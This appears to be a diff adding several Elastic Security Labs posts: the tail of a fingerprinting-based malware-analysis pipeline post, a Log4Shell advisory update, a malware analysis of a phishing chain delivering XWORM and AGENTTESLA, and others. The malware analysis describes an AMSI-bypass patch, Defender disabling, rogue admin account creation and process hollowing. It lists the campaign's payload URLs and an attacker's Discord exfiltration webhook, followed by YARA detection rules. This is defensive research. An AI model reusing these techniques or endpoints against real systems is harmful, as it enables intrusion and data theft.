2. `Create enrich policies` : The script will create every individual policy.
|
||||
3. `Execute the policies` : This will start the process of creating the hidden enrichment system index. Note that the execution of the policy will take longer than the execution of the script as it will not wait for the completion of the command. Elastic will create the enrichment index in the background.
|
||||
4. `Re-create the ingest pipeline` : After the enrich policy has been updated, we can now re-create the ingest pipeline that uses the enrichments.
|
||||
|
||||
After executing these three scripts, the whole setup is completed, and malicious data can be ingested into the correct namespace.
|
||||
|
||||
### Results and limitations
|
||||
|
||||
Our benign dataset includes 53,267,892 documents generated by executing trusted binaries on a variety of operating systems and collecting events from high-value data sources. Using this normalized benign dataset, we calculated the fingerprints and created the enrich policies per data type.
|
||||
|
||||
With this setup in place, we detonated 332 samples. After removing the Elastic agent metrics and endpoint alerts from the datasets, we ended up with a mixed dataset containing a total number of 41,710,279 documents.
|
||||
|
||||

|
||||
|
||||
After setting “known\_benign” to false, we end up with 1,321,949 documents. This is a decrease of 96.83% in document count.
|
||||
|
||||

|
||||
|
||||
The table below presents an overview of each data source and its corresponding number of documents before and after filtering on our “known\_benign” field.
|
||||
|
||||

|
||||
|
||||
We can see that we managed to successfully filter most data sources by a decent percentage. Additionally, the numbers presented in the “after” column include malicious data that we do want to capture. For example, amongst the different malware samples several included ransomware - which tends to create a lot of file events. Also, all of the http traffic originated from malware samples trying to connect to their C2’s. The auditd\_manager and fim.event datasets include a lot of the syscalls and file changes performed by the samples.
|
||||
|
||||
While building out this pipeline, several lessons were learnt. First of all, as mentioned before, if you add one wrong field to the fingerprint calculation the whole dataset might end up generating lots of noise. This can be seen by adding the source.port to the packetbeat fingerprint calculation, resulting in the endpoint.events.network and all network\_traffic-\* datasets to increase drastically.
|
||||
|
||||
The second lesson we learned: it is not only important to have a representative dataset, but it is also important to have a large dataset. These two go hand in hand, but we learnt that having a small dataset or a dataset that does not generate very similar behavior to the dataset that will be ingested later, will cause the pipelines to be less than half as effective.
|
||||
|
||||
Finally, some data sources are better suited for this filtering approach than others. For example, when dealing with `system.syslog` and `system.auth` events, most of the fields within the document (except the message field) are always the same. As we cannot use this approach for unstructured data, such as plain text fields, our filter would filter out 99% of the events when just looking at the remaining fields.
|
||||
|
||||
### Visualizing results
|
||||
|
||||
Kibana offers many great options to visualize large datasets. We chose to leverage the Lens functionality within Kibana to search through our malicious dataset. By setting `known\_benign` to false, setting `count of fingerprint` as a metric, and sorting by ascending order, we can right away see different malware samples execute different tasks. Examples of file events is shown below.
|
||||
|
||||

|
||||
|
||||
Within this table, we can see - suspicious files being created in the `/dev/shm/` directory - “ `HOW_TO_DECRYPT.txt` ” file creations indicating the creation of a ransom message - Files being changed to contain new random file extensions, indicating the ransomware encryption process.
|
||||
|
||||
When looking into file integrity monitoring events, we can also very easily distinguish benign events from malicious events by applying the same filter.
|
||||
|
||||

|
||||
|
||||
Right away we notice the creation of a symlink for a `linux.service` and `bot.service` , and several run control symlinks to establish persistence onto the system.
|
||||
|
||||
Looking at network connections, we can see `connection\_attempted` events from malicious samples to potential C2 servers on several uncommon ports.
|
||||
|
||||

|
||||
|
||||
Finally, looking at auditd manager syscall events, we can see the malware opening files such as cmdline and maps and attempting to change the permissions of several files.
|
||||
|
||||

|
||||
|
||||
Overall, in our opinion the data cleaning results are very promising and allow us to more efficiently conduct dynamic malware analysis on a large scale. The process can always be further optimized, so feel free to take advantage of our approach and fine tune it to your specific needs.
|
||||
|
||||
## Beyond Dynamic Malware Analysis
|
||||
|
||||
In the previous sections we described our exact use case for leveraging fingerprint and enrich ingest pipelines. Other than malware analysis, there are many other fields that can reap the benefits of a workflow similar to the one outlined above. Several of these applications and use cases are described below:
|
||||
|
||||
- Forensics and Security: Fingerprinting can be employed in digital forensics and security investigations to identify and link related artifacts or events. It helps in tracing the origin of data, analyzing patterns, and identifying potential threats or anomalies in log files, network traffic, or system events. Researchers over at Microsoft leveraged fuzzy hashing in [previous research](https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/fuzzy-hashing-logs-to-find-malicious-activity/ba-p/3786669) to detect malicious web shell traffic.
|
||||
- Identity Resolution: Fingerprinting can be used to uniquely identify individuals or entities across different data sources. This is useful in applications like fraud detection, customer relationship management, and data integration, where matching and merging records based on unique identifiers is crucial.
|
||||
- Data Deduplication: Fingerprinting can help identify and eliminate duplicate records or documents within a dataset. By comparing fingerprints, you can efficiently detect and remove duplicate entries, ensuring data integrity and improving storage efficiency. Readers interested in data deduplication use cases might find great value in pre-built tools such as [Logslash](https://blog.foxio.io/introducing-logslash-and-the-end-of-traditional-logging-2c6708b6fc1c) to achieve this goal.
|
||||
- Content Management: Fingerprinting can be used in content management systems to detect duplicate or similar documents, images, or media files. It aids in content deduplication, similarity matching, and content-based searching by improving search accuracy and enhancing the overall user experience.
|
||||
- Media Identification: Fingerprinting techniques are widely used in media identification and recognition systems. By generating unique fingerprints for audio or video content, it becomes possible to identify copyrighted material, detect plagiarism, or enable content recommendation systems based on media similarity.
|
||||
|
||||
## Conclusion
|
||||
|
||||
There are many different approaches to dynamic malware analysis. This blog post explored some of these options by leveraging the powerful capabilities offered by Elastic. Our aim was to both present a new method of dynamic malware analysis while at the same time broadening your understanding and knowledge of the built-in functionalities within Elastic.
|
||||
|
||||
Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.
|
||||
|
||||
Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at [www.elastic.co/security-labs/](http://www.elastic.co/security-labs/).
|
||||
|
|
@ -0,0 +1,66 @@
|
|||
---
|
||||
title: "Analysis of Log4Shell vulnerability & CVE-2021-45046"
|
||||
slug: "analysis-of-log4shell-cve-2021-45046"
|
||||
date: "2022-11-30"
|
||||
description: "In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell."
|
||||
author:
|
||||
- slug: jake-king
|
||||
image: "photo-edited-12-e.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
---
|
||||
|
||||
> _To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory_[_here._](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476)
|
||||
>
|
||||
> _This document was updated on December 17, 2021 to reflect a revised CVSS score for CVE-2021-45046, and new findings by the community._
|
||||
|
||||
In recent days Log4Shell, or CVE-2021-44228, has dominated the news cycle in the world of information security and beyond. Elastic released an [advisory](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476?ultron=log4js-exploit&blade=announcement&hulk=email&mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZUOwzTcRbJCOiByHmeYiopMnarq-QPWBIyhPI3Vvsp6w-4q4PBbTGZ3fZ0sB75cpaUdOddA1k-6-yh3QwAicvJTgafdJWv_-9Cn2GoKLvsmt) detailing how Elastic products and users are impacted, and a [blog](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security?ultron=log4js-exploit&blade=announcement&hulk=email&mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZDYRbFq2QZ4ZK8tc2IbDatArsdI6WGcA2M90g4v02svJeqCXFeZ23R4TjeYii4KBGAkqMBgWc5IkxYrmefgwZBanjGQh8v66drUymiVSQFvs) post describing how our users can leverage Elastic Security to help defend their networks.
|
||||
|
||||
Many readers have further questions as to how we’re tracking this issue within Elastic Security, what our coverage is now, and what we’re expecting to do next. This post outlines a few details for our current status, and provides details regarding a new, related vulnerability: CVE-2021-45046.
|
||||
|
||||
## Elastic Security response
|
||||
|
||||
As you may imagine, the team has worked tirelessly to ensure that we’re developing detections for both active exploitation of the vulnerability, as well as post-compromise indicators, and will continue active development until further notice.
|
||||
|
||||
We’re spending time focusing on detailed detections that better align with some of the emerging trends that adversaries are now taking advantage of as they have time to develop their attack strategies. And we’re not working in silence — those that may have had a chance to catch up on our [original post](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security) a few days ago will be pleasantly surprised we’ve added further detections and hunting examples, and will continue to do so as we learn more with the community.
|
||||
|
||||
Alongside the threat research and signature development, we’ve noted some interesting observations:
|
||||
|
||||
- We noted several instances of [generic crypto miners](https://www.virustotal.com/gui/file/5b25db204b5cd5cc3193f4378dd270dced80da9d39874d8b6fdd75e97d2cc907/detection) for Linux being deployed that appeared to be related to exploitation of this CVE, but determined that they are benign true positives
|
||||
- We’ve stopped at least eight different families of malware being deployed using the log4j exploit, indicating widespread adoption of the exploit by threats of all kinds
|
||||
- While we are observing coverage across our full protection suite (such as behavior protection), it is noteworthy that our free basic-tier malware protection is successfully preventing initial access
|
||||
|
||||
We will aim to keep users and readers apprised of findings, and hope to share additional observations in the wild as we see them.
|
||||
|
||||
## A new contender: CVE-2021-45046
|
||||
|
||||
While we watch the CVE-2021-44228 (Log4Shell) vulnerability dominate the news cycles, a new contender, [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046), was accidentally introduced to Log4j2j version 2.15.0, allowing adversaries to invoke a Denial of Service, and a remote code execution condition through specially crafted payloads. Previous mitigations to avoid Information Disclosure vulnerabilities by setting the `log4j2.noFormatMsgLookup` state to `true` do not mitigate against this new finding, according to the CVE details.
|
||||
|
||||
While initially CVE-2021-45046 carried a lower CVSS score of 3.7 due to the impact of the initially discovered condition that can be invoked, this was re-evaluated to a 9.0 indicating limited remote code execution was possible. The finding was shared on December 16, 2021 by [Alvaro Muñoz](https://twitter.com/pwntester/status/1471465662975561734), who identified that while the default setting formatMsgNoLookups was accurately set to true, there were alternative locations for lookups to take place. Technical details are still unfolding from the community, however the Log4j2 team shared the following message within their security updates:
|
||||
|
||||
_The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors._
|
||||
|
||||
_The safest thing to do is to upgrade Log4j to a safe version, or remove the JndiLookup class from the log4j-core jar._ [_Reference here_](https://logging.apache.org/log4j/2.x/security.html)
|
||||
|
||||
Given this new information, and readily available[POCs](https://twitter.com/marcioalm/status/1471740771581652995) available for exploitation, the Apache team has recommended those impacted upgrade to the latest, safe version of Log4j2, or alternatively remove the JndiLookup class from the log4j-core jar.
|
||||
|
||||
Elastic Security has observed many threat actors and benign scanners leveraging this new methodology already in some edge environments, with payloads incorporating previous attack methodologies such as key extraction attempts and base64 encoded payloads:
|
||||
|
||||

|
||||
|
||||
We anticipate adding further details as we learn them, and thank the team at lunasec specifically for providing a [detailed, early summary](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/) of this emerging situation, and of course, provide kudos to [Alvaro Muñoz](https://twitter.com/pwntester) of Github Security Lab for the findings.
|
||||
|
||||
## Thank you (again!), from Elastic Security
|
||||
|
||||
We want to thank all of the security teams across the globe for your tireless work this week. As we referenced before, openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability.
|
||||
|
||||
Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/elastic-security-quick-start) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals).
|
||||
|
||||
Get started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration). Or [download](https://www.elastic.co/downloads/) the self-managed version of the Elastic Stack for free.
|
||||
|
||||
### References
|
||||
|
||||
[https://logging.apache.org/log4j/2.x/security.html](https://logging.apache.org/log4j/2.x/security.html)
|
||||
|
||||
[https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/)
|
|
@ -0,0 +1,224 @@
|
|||
---
|
||||
title: "Attack chain leads to XWORM and AGENTTESLA"
|
||||
slug: "attack-chain-leads-to-xworm-and-agenttesla"
|
||||
date: "2023-04-10"
|
||||
description: "Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
image: "blog-thumb-coin-stacks.jpg"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- xworm
|
||||
- agenttesla
|
||||
---
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
- Threat actors are deploying known malware using their own custom .NET loaders
|
||||
- The threat actors employ simple and well-known tactics such as bypassing AMSI through patching and a basic custom .NET loader
|
||||
- The threat actors are abusing legitimate free file hosting services
|
||||
|
||||
## Preamble
|
||||
|
||||
Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate, but are in fact fake, the adversary leverages weaponized word documents to execute malicious PowerShell scripts, and also utilizes a custom obfuscated .NET loader to load various malware strains, including XWORM and AGENTTESLA.
|
||||
|
||||
## RTF loader code analysis
|
||||
|
||||
### Overview
|
||||
|
||||
During a recent investigation, we discovered a malicious word document named `Card & Booking Details.docx`. This document has been designed with the intent to deceive the victim and includes two falsified scanned documents, namely a credit card and a passport.
|
||||
|
||||
Upon opening the document, an RTF object hosted at `www.mediafire[.]com/file/79jzbqigitjp2v2/p2.rtf` is fetched.
|
||||
|
||||
This RTF object contains a macro-enabled Excel object. When opened, this macro downloads an obfuscated powerShell script which in turn deploys different malware families.
|
||||
|
||||
At the time of this writing, we have observed two distinct malware families, namely XWORM and AGENTTESLA, have been deployed through this execution chain. Both malware families mentioned above are loaded into the compromised system's memory by the same custom .NET loader. Once loaded, the malicious payload can carry out a range of functions, such as stealing sensitive data and executing commands on the compromised system.
|
||||
|
||||

|
||||
|
||||
In this research post, we will walk through the initial execution of the malware and detail the capabilities we discovered.
|
||||
|
||||
### Extracting the malicious VBA
|
||||
|
||||
The RTF document contains multiple embedded objects, including an interesting one that caught our attention: `Excel.SheetMacroEnabled`.
|
||||
|
||||

|
||||
|
||||
We can use [`rtfdumpy.py`](https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py), a script developed by Didier Stevens to analyze RTF files, to dump the object and [`olevba.py`](https://www.decalage.info/python/olevba), a script developed by Philippe Lagadec, to extract any embedded VBA scripts from an [OLE](https://en.wikipedia.org/wiki/Object_Linking_and_Embedding) object. The extracted VBA script shown below downloads and executes a malicious powershell script from `https://www.mediafire[.]com/file/xnqxmqlcj51501d/7000m.txt/file`.
|
||||
|
||||

|
||||
|
||||
### Powershell script analysis
|
||||
|
||||
The malicious PowerShell script is obfuscated using string substitution to evade detection and make analysis more difficult.
|
||||
|
||||

|
||||
|
||||
It contains additional powershell script blocks in hex format that will be deployed in the infected machine designed to prepare the environment by setting up persistence, bypassing AMSI, disabling Windows defender and creating a mechanism to update the malware. The ultimate objective is to install two .NET binaries, namely a loader and a payload (XWORM / AGENTTESLA).
|
||||
|
||||
### Deleting the malicious document
|
||||
|
||||
The malware starts by deleting the original Word document, first killing the process `Winword.exe` and then deleting all .DOCX files located in the default `Downloads` and `Desktop` folders of every user. This initial step shows the malware's destructive nature and how it can potentially harm the user's data.
|
||||
|
||||

|
||||
|
||||
### Persistence
|
||||
|
||||
The malware creates a directory in the path `C:\ProgramData\MinMinons` , which is used to store other Powershell scripts and binaries. The currently running Powershell script is then copied to `C:\ProgramData\MinMinons\Candlegraphy.\_\_\_`.
|
||||
|
||||
Next, the malware deobfuscates the first embedded Powershell script which is used to create persistence. It first writes a JScript file that invokes the original Powershell script saved in `C:\ProgramData\MinMinons\Candlegraphy.\_\_\_` through the activeXObject shell, then a scheduled task named “MOperaChrome” is created to run the JScript file using the Microsoft signed [Windows Script Host (WSH) utility](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript), `wscript.exe`.
|
||||
|
||||

|
||||
|
||||
### AMSI bypass
|
||||
|
||||
The second embedded powershell script is responsible for bypassing AMSI by patching the `amsiInitFailed` flag. In doing so, the initialization of AMSI fails, leading to the prevention of any scan being initiated for the ongoing process. Furthermore, the PowerShell script proceeds to disable the Microsoft Windows Defender service.
|
||||
|
||||

|
||||
|
||||
### User creation
|
||||
|
||||
The script creates a local administrator account named “System32” and adds it to the Remote Desktop Users group. This enables the attacker to log in via Remote Desktop Protocol (RDP). Next, the script disables the machine's firewall to allow inbound RDP connection attempts which aren’t filtered by edge controls.
|
||||
|
||||

|
||||
|
||||
### Malware update persistence
|
||||
|
||||
The third embedded script stores a secondary JScript file, whose purpose is downloading a revised or updated version of the malware. This file is saved to a predetermined location at `C:\ProgramData\MinMinons\miguan.js`. Furthermore, a scheduled task with the name (“miguaned”) is created to execute the JScript file through `wscript.exe` , similar to the previously described task.
|
||||
|
||||
The JScript creates an instance of `WScript.Shell` object by calling ActiveXObject with the following CLSID `{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}` which corresponds to Shell Object, then downloads from the URL `https://billielishhui.blogspot[.]com/atom.xml` the update powershell malware.
|
||||
|
||||

|
||||
|
||||
### .NET loader
|
||||
|
||||
The custom DOTNET loader employs the [P/INVOKE technique](https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke) to call the native Windows API and inject a payload into a signed microsoft binary via [process hollowing](https://attack.mitre.org/techniques/T1055/012/).
|
||||
|
||||
The loader’s code employs various obfuscation techniques to hinder analysis, including the use of dead instruction, renamed symbols to make the code less readable and more confusion and encoded strings. Fortunately a tool like [de4dot](https://github.com/de4dot/de4dot) can be used to output a human-readable version of it.
|
||||
|
||||

|
||||
|
||||
The malware leverages the `LoadLibrary` and `GetProcAddress` APIs to access the required Windows APIs. To obscure the names of these APIs, the loader stores them in an encoded format within the binary file, utilizing a sequence of substitution and string reversal methods.
|
||||
|
||||

|
||||
|
||||
The loader then starts a process in a suspended state using `CreateProcessA` API. The following is the list of executables it uses as a host for it’s malicious code:
|
||||
|
||||
- `C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe`
|
||||
- `C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe`
|
||||
- `C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe`
|
||||
|
||||
These binaries are signed and trusted by the system and can evade detection by security software that relies on whitelisting system processes. It then uses `Zwunmapviewofsection` to unmap the memory of the target process, writes the payload to the suspended process and then resume the thread using `ResumeThread` API.
|
||||
|
||||
### Final payload
|
||||
|
||||
During our research we discovered that the threat actor has been deploying different payloads. Namely, we observed 2 families: XWORM and AGENTTESLA.
|
||||
|
||||
XWORM has gained notoriety in the underground criminal marketplace due to its ability to employ sophisticated capabilities like virtualization and sandbox detection, used to avoid detection and support persistence within an infected system.
|
||||
|
||||
Of particular concern is the fact that XWORM is readily available on the internet as a cracked version, with version 2.1 being especially prevalent. This highlights the dangers of underground cybercrime markets and the ease with which malicious actors can access and utilize powerful tools.
|
||||
|
||||
Two different versions of the XWORM family were observed versions 2.2 and 3.1. The following is the configuration of a XWORM sample in plain text.
|
||||
|
||||

|
||||
|
||||
AGENTTESLA is a trojan and credential stealer written in .NET. While it first emerged in 2014, it is now among the most active and malicious software. AGENTTESLA is affordably priced and includes support from the developers, making it easily accessible to cybercriminals with limited technical skills.
|
||||
|
||||
The sample we analyzed was heavily obfuscated, masqueraded as an AVG installer,and leverages discord for C2. It uploads stolen information to the attacker’s Discord channel via the following webhook: `https://discord[.]com/api/webhooks/1089956337733087274/uYNA_D8Ns1z9NZ3B1mGp0XXyGq-785KLGIfEAZsrz3TJd5fvOjXA927F7bUTTzbNT6Zk`.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Observed adversary tactics and techniques
|
||||
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use.
|
||||
|
||||
## Tactics
|
||||
|
||||
Tactics represent the “why” of a technique or sub-technique. They represent the adversary’s tactical goals: the reason for performing an action.
|
||||
|
||||
- [Initial access](https://attack.mitre.org/tactics/TA0001)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003)
|
||||
- [Command and control](https://attack.mitre.org/tactics/TA0011)
|
||||
- [Defense evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
|
||||
## Techniques/subtechniques
|
||||
|
||||
Techniques and Subtechniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Process injection](https://attack.mitre.org/techniques/T1055/)
|
||||
- [Indicator removal: File deletion](https://attack.mitre.org/techniques/T1070/004/)
|
||||
- [Scheduled task/job: Scheduled task](https://attack.mitre.org/techniques/T1053/005/)
|
||||
- [User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/)
|
||||
- [Phishing: Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001/)
|
||||
- [Command and Scripting Interpreter: Powershell](https://attack.mitre.org/techniques/T1059/003/)
|
||||
- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/)
|
||||
- [Impair Defenses: Disable or Modify Tools](https://attack.mitre.org/techniques/T1629/003/)
|
||||
- [Create Account](https://attack.mitre.org/techniques/T1136/)
|
||||
|
||||
## Detection logic
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify XWORM and [AGENTTESLA](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar) malware families.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Xworm_732e6c12 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
id = "732e6c12-9ee0-4d04-a6e4-9eef874e2716"
|
||||
fingerprint = "afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0"
|
||||
creation_date = "2023-04-03"
|
||||
last_modified = "2023-04-03"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Xworm"
|
||||
threat_name = "Windows.Trojan.Xworm"
|
||||
source = "Manual"
|
||||
maturity = "Diagnostic"
|
||||
reference_sample = "bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2"
|
||||
scan_type = "File, Memory"
|
||||
severity = 100
|
||||
|
||||
strings:
|
||||
$str1 = "startsp" ascii wide fullword
|
||||
$str2 = "injRun" ascii wide fullword
|
||||
$str3 = "getinfo" ascii wide fullword
|
||||
$str4 = "Xinfo" ascii wide fullword
|
||||
$str5 = "openhide" ascii wide fullword
|
||||
$str6 = "WScript.Shell" ascii wide fullword
|
||||
$str7 = "hidefolderfile" ascii wide fullword
|
||||
condition:
|
||||
all of them}
|
||||
|
||||
rule Windows_Trojan_AgentTesla_d3ac2b2f {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
id = "d3ac2b2f-14fc-4851-8a57-41032e386aeb"
|
||||
fingerprint = "cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc"
|
||||
creation_date = "2021-03-22"
|
||||
last_modified = "2022-06-20"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "AgentTesla"
|
||||
threat_name = "Windows.Trojan.AgentTesla"
|
||||
source = "Manual"
|
||||
maturity = "Diagnostic, Production"
|
||||
reference_sample = "65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4"
|
||||
scan_type = "File, Memory"
|
||||
severity = 100
|
||||
|
||||
strings:
|
||||
$a1 = "GetMozillaFromLogins" ascii fullword
|
||||
$a2 = "AccountConfiguration+username" wide fullword
|
||||
$a3 = "MailAccountConfiguration" ascii fullword
|
||||
$a4 = "KillTorProcess" ascii fullword
|
||||
$a5 = "SmtpAccountConfiguration" ascii fullword
|
||||
$a6 = "GetMozillaFromSQLite" ascii fullword
|
||||
```
|
|
@ -0,0 +1,48 @@
|
|||
---
|
||||
title: "Automating the Security Protections rapid response to malware"
|
||||
slug: "automating-security-protections-rapid-response-to-malware"
|
||||
date: "2023-03-01"
|
||||
description: "See how we’ve been improving the processes that allow us to make updates quickly in response to new information and propagate those protections to our users, with the help of machine learning models."
|
||||
author:
|
||||
- slug: samantha-zeitlin
|
||||
image: "blog-security-endpoint-720x420.png"
|
||||
category:
|
||||
- slug: machine-learning
|
||||
- slug: detection-science
|
||||
---
|
||||
|
||||
Cyber attacks on corporate networks were [<u>up 50% in 2021</u>](https://www.forbes.com/sites/chuckbrooks/2022/01/21/cybersecurity-in-2022--a-fresh-look-at-some-very-alarming-stats/?sh=675676ea6b61), and it’s [<u>expected that 2022 will see more of the same</u>](https://www.govtech.com/blogs/lohrmann-on-cybersecurity/the-top-22-security-predictions-for-2022). [<u>Elastic Endpoint Security</u>](https://www.elastic.co/endpoint-security/) includes a variety of protection layers to ensure maximum coverage against different types of malware. There have been a few examples recently of the need for [<u>fast, accurate updates</u>](https://www.elastic.co/blog/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper) of user environments in order to protect against the latest malware. Here at Elastic, we’ve been improving the processes that allow us to make updates quickly in response to new information and propagate those protections to our users.
|
||||
|
||||
As part of our security solution, we use a machine learning model to help us detect malware based on known characteristics. Since machine learning is never perfect, we deploy supplemental artifacts, including lists of known file hashes that range from malicious to benign. There are two scenarios when we might need to update these lists, which we’ll cover here. Using these, teams can experience a much faster response to malware.
|
||||
|
||||
[Related article: [<u>Sandboxing anti-malware products for fun and profit</u>](https://www.elastic.co/blog/sandboxing-anti-malware-products-for-fun-and-profit)]
|
||||
|
||||
## Scenario 1: The model isn’t perfect
|
||||
|
||||
This happens pretty rarely, since our model has True Negative rates of 99.8%. But no model is perfect, and our True Positive rates vary from 99% (which is great) down to 97.9%, due to noisy data — particularly large bursts of near-duplicates. In applying machine learning to cybersecurity, data drift is an ever-present challenge and part of what makes it such an interesting problem.
|
||||
|
||||
There are a couple of ways we can find out if our model is doing the wrong thing:
|
||||
|
||||
1. **User feedback.**
|
||||
|
||||
A user sends us an email telling us that a piece of custom software is being flagged as malware, but is actually safe.
|
||||
|
||||
2. **Telemetry data coming back from our model running on customers’ machines.**
|
||||
|
||||
We look at the volume and velocity of alerts, using Elastic’s Anomaly Detection feature to let us know if there is a sudden spike from a particular file. We also use patterns to help us confirm if an alert is coming from a single noisy machine, a test cluster, or a legitimate threat.
|
||||
|
||||
The advantage of using lists as a backstop to machine learning is that it’s a fast and easy way to make sure our customers are protected from new malware, as well as protecting them from unnecessary noise from false positives.
|
||||
|
||||
## Scenario 2: New forms of malware appear
|
||||
|
||||
We typically find out about new kinds of malware from either security news/community resources, or our own Security Intelligence and Analytics team identifying new kinds of malware.
|
||||
|
||||
When this happens, we can easily deploy small changes to lists. We update the model separately, because that takes longer.
|
||||
|
||||
We’ve been steadily adding more automation to make this process of deploying updated lists to customers smoother and faster, with the goal of making it easy for anyone on the team to create and deploy an update. We’ve also been working on making the process of updating the model easier and faster.
|
||||
|
||||
## Threats yet discovered…
|
||||
|
||||
The Elastic Security Intelligence and Analytics team continues to research and respond to groundbreaking threats in its mission to help Elastic customers and the broader security community. If you’re using [<u>Elastic Security</u>](https://www.elastic.co/security?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=elastic+security) already, you can expect to see our latest findings in the newsfeed within the platform. We’ll also post our latest findings on [<u>elastic.co/blog</u>](https://www.elastic.co/blog).
|
||||
|
||||
Ready to become part of the Elastic Security community and take advantage of the team’s leading threat research? Get started with a free [<u>14-day trial of Elastic Cloud</u>](https://cloud.elastic.co/registration?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=trail) or [<u>download</u>](https://www.elastic.co/downloads/?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=download) the self-managed version of the Elastic Stack for free.
|
|
@ -0,0 +1,45 @@
|
|||
---
|
||||
title: "Behind the scenes: The making of a Global Threat Report"
|
||||
slug: "behind-the-scenes-global-threat-report"
|
||||
date: "2022-11-30"
|
||||
description: "What was our approach and process for creating a global threat report?"
|
||||
author:
|
||||
- slug: mark-dufresne
|
||||
image: "gtr-blog-image-720x420.jpg"
|
||||
category:
|
||||
- slug: reports
|
||||
---
|
||||
|
||||
The first [Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) was published earlier this week. In it, you will learn about trends observed by our threat researchers, our predictions for what’s coming next, and some of our recommendations to operate securely in the face of today’s and tomorrow’s threats. If you haven’t read it yet, go [check it out](https://www.elastic.co/explore/security-without-limits/global-threat-report).
|
||||
|
||||
As a technical leader in [Elastic Security](http://www.elastic.co/security), I'd like to reveal a small amount about what goes into reports like this one and why it’s significant.
|
||||
|
||||
## Why did we do it?
|
||||
|
||||
If you didn’t already know this, you know it now: Elastic is a security company. We are also different — we’re open and transparent. We share exactly how our detections and preventions work in the [protections-artifacts](https://github.com/elastic/protections-artifacts) and [detection-rules](https://github.com/elastic/detection-rules) repos. We’ve launched [Elastic Security Labs](https://www.elastic.co/security-labs/) and regularly publish our research, discoveries, and tools. Anyone can spin up a [trial](https://cloud.elastic.co/registration) and try all our features — no barriers, no sales BS. This report is another way we’re bringing transparency to you. We want to empower you by sharing what we know and what we think is coming, and we will continue to expand the scope of what we share in the coming months.
|
||||
|
||||
## How'd we do it?
|
||||
|
||||
